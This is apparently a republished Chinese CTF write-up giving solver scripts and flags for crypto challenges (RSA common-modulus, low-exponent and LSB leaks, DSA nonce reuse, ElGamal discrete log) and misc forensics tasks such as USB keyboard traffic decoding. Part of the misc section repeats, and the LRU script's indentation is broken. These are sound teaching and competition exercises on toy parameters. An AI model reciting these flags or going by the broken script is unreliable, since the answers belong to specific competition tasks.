dict={0: 'c', 1: 'R', 2: 'i', 3: 'A', 4: 'H', 5: 'W', 6: 'j', 7: 'I', 8: '1', 9: 'N', 10: 'v', 11: 'g', 12: '5', 13: 'z', 14: '8', 15: 'C', 16: 'U', 17: 'p', 18: 'q', 19: 'J', 20: '4', 21: 'f', 22: 'M', 23: 'B', 24: '7', 25: 'x', 26: 'r', 27: 'O', 28: 't', 29: 'o', 30: 'Z', 31: 'F', 32: 'T', 33: 'P', 34: 'w', 35: 'K', 36: 's', 37: 'E', 38: 'V', 39: 'X', 40: 'G', 41: 'e', 42: 'k', 43: '9', 44: 'Y', 45: 'S', 46: 'a', 47: 'Q', 48: 'y', 49: '3', 50: 'm', 51: 'b', 52: '0', 53: 'D', 54: 'l', 55: 'L', 56: 'u', 57: 'n', 58: '/', 59: 'd', 60: '6', 61: '2', 62: 'h', 63: '+', 64: '='}
base64_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P','Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f','g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/']
cipher='7LfSojz0xXSm5MoGzf2M5bxnBl4ytLEFzVWbx410BD2S7BR2'
m=''
flag=''
for i in range(len(cipher)):
    for j in range(64):
        if(dict[j]==cipher[i]):
            m+=base64_list[j]
print(m)
flag=base64.b64decode(m)
print(flag)

#m=Y3VtdGN0ZntyMWdoNV9WMzZ5X2Uwc3lfNmFzZUI0X19tYXB9
#flag=b'cumtctf{r1gh5_V36y_e0sy_6aseB4__map}'

RSA?

N随机取得,但是N可以表示为3*(2^x) * (3^y) * (7^z),根据实数乘法的奇偶性规律:

奇 * 奇 = 奇
偶 * 偶 = 偶
奇 * 偶 = 奇

N恒为偶数

根据:

当A > B时:
若B为偶数,A % B的奇偶性同A的奇偶性一致
若B为奇数,A % B的奇偶性同A的奇偶性相反

当A < B时:
A % B的奇偶性与A一致

可知c=pow(r(m, i, m.bit_length()), e, N)的奇偶性和m一样,即每次c的二进制最后一位和每次m的二进制最后一位相同

而m每次右移了一位,且循环时每一位都会排到最末尾从而加密输出

综上,只要把输出文本中每一串数字转换二进制取最后一位并按倒序拼接即可

脚本如下:

from Crypto.Util.number import *
import gmpy2
flag=''
f=open('chall.txt','r').readlines()
li=[]
for i in f:
    li.append(int(i.strip('\n')))
for i in li:
    flag+=(bin(i)[-1])
flag=flag[::-1]
print(long_to_bytes(int(flag, 2)))

#b'cumtctf{0h_1t_l34ks_th3_l34st_s1gn1f1c4nt_b1t}'

real_RSA

考察rsa的低指数加密和共模攻击
低指数攻击直接分情况开3次方,共模攻击需要用到数学知识
参考:共模攻击数学分析

import libnum
from gmpy2 import invert
from gmpy2 import iroot

#先进行共模攻击
def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)


n2 = 22708078815885011462462049064339185898712439277226831073457888403129378547350292420267016551819052430779004755846649044001024141485283286483130702616057274698473611149508798869706347501931583117632710700787228016480127677393649929530416598686027354216422565934459015161927613607902831542857977859612596282353679327773303727004407262197231586324599181983572622404590354084541788062262164510140605868122410388090174420147752408554129789760902300898046273909007852818474030770699647647363015102118956737673941354217692696044969695308506436573142565573487583507037356944848039864382339216266670673567488871508925311154801
c2_1 = 22381850938065193358278253147467150797709002534083507137257960056107137848093403378423473426666014730365506231075252357064547793223559749932471186995157541348481828610739919084366926590467004716803923937454535738985968190726494987062049583386897148063211655710516540190631255559470695914203541897658755304015610091369550114519773247414168550598155437814891546964391478508785687283417858537504512539362179504468651415210763187827399052965708242547869047065857956363113737425226573040975881731429154823927226295642514312946856421185721415202906396988660611152549234348765673642643897830616076002730456160650341635143704
c2_2 = 8090366411045793234210322531598941446874141025943909343301031752878841666415969556797627147789205983150546898620809005560202512717938281049602007829284269335854087790231458500580461669945982841203916571122008764034298504492835227560364866355504108326714068798068594401733331517171707679134043030384457589705320965615677043792301235436663678084033785439910837165897875595189773366498137524005416558130683728384919517508421105064464302309523597785224585856003247802578159619859543488929666469326915414050448914228338779778423706877483730960243781357950657137157670795338550712198405466881834571305945501760737042978212
e_2_1 = 12144269
e_2_2 = 92374392
s = egcd(e_2_1, e_2_2)
s1 = s[1]
s2 = s[2]


# 求模反元素
if s1<0:
  s1 = - s1
  c2_1 = invert(c2_1, n2)
elif s2<0:
  s2 = - s2
  c2_2 = invert(c2_2, n2)

m2 = pow(c2_1,s1,n2)*pow(c2_2,s2,n2) % n2

#再进行低指数攻击

e_1_1 = 3
n1 = 10456335904838169914349646852830082932152130624533179855437700729986430916359910968035371355128152016750075271161129744979254605922991030753616570849211931989112941277121682363790710646503345520505931418350219098036569932546893477983585713668853372819392130314661542626399462820378837771792293945490048339575869129479058678981790418112887403292721775644533540769467889512773382494878291574262142755186374570245813695390664702262226281601456889176191920270658811753696081082528539263191477192236336112147705564796435800152614366113854349615104191052807647128834113146535639155857819697492608839941056356828288393881491
c1 = m2


k = 0
while 1:
    res = iroot(c1+k*n1,e_1_1)
    if(res[1] == True):
        print(libnum.n2s(int(res[0])))
        break
    k=k+1

ez_DSA

打开看到加密脚本和输出

import random
import gmpy2
import hashlib
import libnum
flag = '********************'
p = 7434410770759874867539421675728577177024889699586189000788950934679315164676852047058354758883833299702695428196962057871264685291775577130504050839126673
q = 1138656671590261728308283492178581223478058193247
g = 5154978420348751798752390524304908179080782918903280816528537868887210221705817467399501053627846983235883800157945206652168013881208773209963452245182466
x = libnum.s2n(flag)
message1 = "The private key maybe flag."
message2 = "Don't forget to turn it into a string."
sha1 = hashlib.sha1()
sha2 = hashlib.sha1()
sha1.update(message1.encode('utf-8'))
sha2.update(message2.encode('utf-8'))
hash1 = int('0x' + sha1.hexdigest(), 16)
hash2 = int('0x' + sha2.hexdigest(), 16)

k = random.randint(0, q-1)
k1 = gmpy2.invert(k, q)

r1 = pow(g, k, p) % q
temp = (hash1+x*r1) % q
s1 = (k1*temp) % q
print('r1 = '+str(r1))
print('s1 = '+str(s1))

r2 = pow(g, k, p) % q
temp = (hash2+x*r2) % q
s2 = (k1*temp) % q
print('r2 = '+str(r2))
print('s2 = '+str(s2))

输出是

r1 = 61576286772875698055833210329141859270511026570
s1 = 908383015506496333929282229337955808645553849812
r2 = 61576286772875698055833210329141859270511026570
s2 = 1040498261456636699324771362379775716661790248969

由于两次加密都采用了同一个随机数,产生漏洞,依据这个攻击。

p = 7434410770759874867539421675728577177024889699586189000788950934679315164676852047058354758883833299702695428196962057871264685291775577130504050839126673
q = 1138656671590261728308283492178581223478058193247
g = 5154978420348751798752390524304908179080782918903280816528537868887210221705817467399501053627846983235883800157945206652168013881208773209963452245182466
r1 = 61576286772875698055833210329141859270511026570
s1 = 908383015506496333929282229337955808645553849812
r2 = 61576286772875698055833210329141859270511026570
s2 = 1040498261456636699324771362379775716661790248969
import hashlib
import gmpy2
import libnum
message1 = "The private key maybe flag."
message2 = "Don't forget to turn it into a string."
sha1 = hashlib.sha1()
sha2 = hashlib.sha1()
sha1.update(message1.encode('utf-8'))
sha2.update(message2.encode('utf-8'))
hash1 = int('0x'+sha1.hexdigest(), 16)
hash2 = int('0x'+sha2.hexdigest(), 16)


m = gmpy2.invert(s2-s1, q)
k = (m*(hash2-hash1)) % q

r = gmpy2.invert(r1, q)
x = (((s1*k)-hash1)*r) % q
flag = libnum.n2s(x)
print(flag)

得到flag
CUMTCTF{Ds@_1s_gO0d}

ez_ElGamal

打开文件看到脚本和输出

import gmpy2
import libnum
import random
p = 11134094838295635553
g = 1962623517223909351
x =
y = pow(g, x, p)

flag = input('Please input your flag:\n')
Message = str(libnum.s2n(flag))
length = len(Message)

M = []
i = 0
while True:
    M.append(int(Message[i:i+10]))
    i += 10
    if (i+10) >= length:
        M.append(int(Message[i:]))
        break


a = []
b = []
for j in range(len(M)):
    k = 0
    while True:
        k = random.randint(1, p-2)
        l = gmpy2.gcd(p, k)
        if l == 1:
            break
    a.append(pow(g, k, p))
    b.append((pow(y, k, p)*M[j]) % p)
print(y)
print(a)
print(b)

输出是

y = 8659430449382927562
a = [9220136969320816827, 3016121291565289145, 2385776270247715315, 2017756985593862776, 2293926332947517130, 561651859739183961, 7202595915619471344, 98004836138992298]
b = [5890385683892772319, 9335983886659975595, 6969915101001126701, 2741782081455806285, 2099529632099285032, 6184202397977204546, 8642556491849615972, 9969270518809733443]

这个加密其实不难,主要就是根据y和g求出来密钥x。
使用sympy库的函数discrete_log()函数可以求出来

y = 8659430449382927562
a = [9220136969320816827, 3016121291565289145, 2385776270247715315, 2017756985593862776, 2293926332947517130, 561651859739183961, 7202595915619471344, 98004836138992298]
b = [5890385683892772319, 9335983886659975595, 6969915101001126701, 2741782081455806285, 2099529632099285032, 6184202397977204546, 8642556491849615972, 9969270518809733443]
p = 11134094838295635553
g = 1962623517223909351
import sympy
import gmpy2
import libnum
x = sympy.discrete_log(p, y, g)

M = []
for i in range(len(a)):
    a1 = gmpy2.invert(pow(a[i], x, p), p)
    temp = (b[i]*a1) % p
    M.append(temp)


s = ''.join(str(j) for j in M)
flag = libnum.n2s(int(s))
print(flag)

得到flag
CUMTCTF{Y0U_gEEt_1T~~~Wo0ow!1}

Misc

ezbase

扫描二维码,得到压缩包密码,打开发现是反过来的base32编码。
在这里插入图片描述
解码后发现png头,写到文件,扫码得flag。

键盘侠

wireshark打开,发现是usb流量

image-20210524212139599

再结合题目名,猜测是键盘流量;然后大致浏览一下,查一查usb流量的知识,发现从31条开始就是键盘输入的流量信息,其中HID Data段就是键盘数据包的内容。查一查相关usb流量,了解到

键盘数据包的数据长度为8个字节,击键信息集中在第3个字节,每次key stroke都会产生一个keyboard event usb packet。

具体键值表:HID类键盘键值解释_文档之家 (doczj.com)

image-20210524212456728

那么便想办法把流量提取出来,分析输入了什么

使用tshark提取

tshark -r 小鲨鱼.pcapng -T fields -e usbhid.data > usbdata.txt

image-20210524213250631

然后根据键值表,写个脚本提取出来

mappings = { '00':"",'04':"a",  '05':"b",  '06':"c", '07':"d", '08':"e", '09':"f", '0a':"g",  '0b':"h", '0c':"i",  '0d':"j", '0e':"k", '0f':"l", '10':"m", '11':"n",'12':"o",  '13':"p", '14':"q", '15':"r", '16':"s", '17':"t", '18':"u",'19':"v", '1a':"w", '1b':"x", '1c':"y", '1d':"z", '1e':"1", '1f':"2", '20':"3", '21':"4", '22':"5",  '23':"6", '24':"7", '25':"8", '26':"9", '27':"0", '28':"n", '2a':"[DEL]",  '2b':"    ", '2c':" ",  '2d':"-", '2e':"=", '2f':"{",  '30':"}",  '31':"\\", '32':"~", '33':";",  '34':"'", '36':",",  '37':".",'39':"[CAPS_LOCK]"
  }
nums = []
keys = open('usbdata.txt')
for line in keys:
    if line[0]!='0':
         continue
    nums.append(line[4:6])
    # 00:00:xx:....
keys.close()
output = ""
for n in range(len(nums)):
    output += mappings[nums[n]]
    
print('output : ' + output)

其中,通过查表可知39对应的是CAPS_LOCK大写键,故flag之后的字符为大写,手动改一下,或者修改一下脚本
运行得到flag{[CAPS_LOCK]i-am-keyboardman}
手动修改后flag{I-AM-KEYBOARDMAN}
因为2d对应的键值是‘-和‘_',两个符号都试着提交一下,得到flag{I_AM_KEYBOARDMAN}

嗷呜~

嗷呜,兽音译者,解密出来

fc34f44b75ae100abb2af0e28b9251e5e59b5faf

四十位十六进制字符,想到文件哈希,试试磁链

获得flag.txt,下载后打开,只有一句话,但是有一处疑点,7个字占用1.7k的空间?猜测隐藏字符(或者零宽字符)

百度得到解密网址:http://zero.rovelast.com/
解密得到:{?po??p ̄& ̄?po?u?}?????n?
文字倒置,找工具:http://www.megaemoji.com/cn/generators/aboqe-flip/
得到cumtctf{encode_&_decode}

image-20210524231045734

一个不小的文件

观察最后发现=,是base64反复加密
编写脚本

import base64

f = open('problem.txt', 'r')
str = f.read()
def dncode_base64_fun():
    temp = str
    while(1):
        temp = str1 =(base64.b64decode(temp))
        print(temp)

dncode_base64_fun()

ez_img

图片,明显下半部分显示不全,修改十六进制高度

image-20210525191919944

尝试修改,发现0438的时候基本上显示全了,里面有flag,但是后半部分逐渐透明

image-20210525192038879

想办法看透明的部分(实际上只是渐变到1%的透明度,完全透明信息就丢失了)

我这里是用Stegsolve查看的,Random colour map这边随便试几次就能明显看到

image-20210525192419846

提交flag{mikumikumi}

lru

刚学完操作系统,出题让大家来复习。

c u m t c t f m e t e o { @ 0 u y a 3 0 @ { o e f m t c y f e o { @ 0 3 a u o r t r o u a 3 o @ { e f y e { @ o 3 a u o r 0 _ i o u e y g a 3 @ h 0 _ t o u e y b 3 a @ _ 0 d c @ a 3 b g e u o f t y g j k z c v f h j k v n m r t u i p k j y t r f v n m d e w o i u h g r k l m u t r e d f h n b f d e u i o p l m n g h y t r e w a q z x c f h j y e s } j h f c x z q a b d e g

数据块有12个,一个字母代表一个进程,淘汰的字符加起来即为flag
(flag有点长~~~,解出来不用套结构,直接是flag)

网上也有很多实现,也可以看懂了直接改程序,主流还是链表加哈希表,不考虑效率可以直接用数组代替。

贴下Yoooo队的python实现

l ='cumtctfmeteo{@0uya30@{oefmtcyfeo{@03auortroua3o@{efye{@o3auor0_ioueyga3@h0_toueyb3a@_0dc@a3bgeuoftygjkzcvfhjkvnmrtuipkjytrfvnmdewoiuhgrklmutredfhnbfdeuioplmnghytrewaqzxcfhjyes}jhfcxzqabdeg'
t = []
for item in l:
	if not item in t and len(t) < 12:
    	t.insert(0, item)    
    elif item in t:        
    	t.remove(item)        
    	t.insert(0, item)    
    elif len(t) == 12: 
    	print(f'{t[11]}', end='')        
    	del t[11]        
    	t.insert(0, item)
import base64

f = open('problem.txt', 'r')
str = f.read()
def dncode_base64_fun():
    temp = str
    while(1):
        temp = str1 =(base64.b64decode(temp))
        print(temp)

dncode_base64_fun()

ez_img

图片,明显下半部分显示不全,修改十六进制高度

[外链图片转存中…(img-9W1MKgRc-1628437651083)]

尝试修改,发现0438的时候基本上显示全了,里面有flag,但是后半部分逐渐透明

[外链图片转存中…(img-v7qCk8bY-1628437651085)]

想办法看透明的部分(实际上只是渐变到1%的透明度,完全透明信息就丢失了)

我这里是用Stegsolve查看的,Random colour map这边随便试几次就能明显看到

[外链图片转存中…(img-M0iEsfF3-1628437651086)]

提交flag{mikumikumi}

lru

刚学完操作系统,出题让大家来复习。

c u m t c t f m e t e o { @ 0 u y a 3 0 @ { o e f m t c y f e o { @ 0 3 a u o r t r o u a 3 o @ { e f y e { @ o 3 a u o r 0 _ i o u e y g a 3 @ h 0 _ t o u e y b 3 a @ _ 0 d c @ a 3 b g e u o f t y g j k z c v f h j k v n m r t u i p k j y t r f v n m d e w o i u h g r k l m u t r e d f h n b f d e u i o p l m n g h y t r e w a q z x c f h j y e s } j h f c x z q a b d e g

数据块有12个,一个字母代表一个进程,淘汰的字符加起来即为flag
(flag有点长~~~,解出来不用套结构,直接是flag)

网上也有很多实现,也可以看懂了直接改程序,主流还是链表加哈希表,不考虑效率可以直接用数组代替。

贴下Yoooo队的python实现

l ='cumtctfmeteo{@0uya30@{oefmtcyfeo{@03auortroua3o@{efye{@o3auor0_ioueyga3@h0_toueyb3a@_0dc@a3bgeuoftygjkzcvfhjkvnmrtuipkjytrfvnmdewoiuhgrklmutredfhnbfdeuioplmnghytrewaqzxcfhjyes}jhfcxzqabdeg'
t = []
for item in l:
	if not item in t and len(t) < 12:
    	t.insert(0, item)    
    elif item in t:        
    	t.remove(item)        
    	t.insert(0, item)    
    elif len(t) == 12: 
    	print(f'{t[11]}', end='')        
    	del t[11]        
    	t.insert(0, item)
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-10 13:12:35  更:2021-08-10 13:13:43 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 2:46:46-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码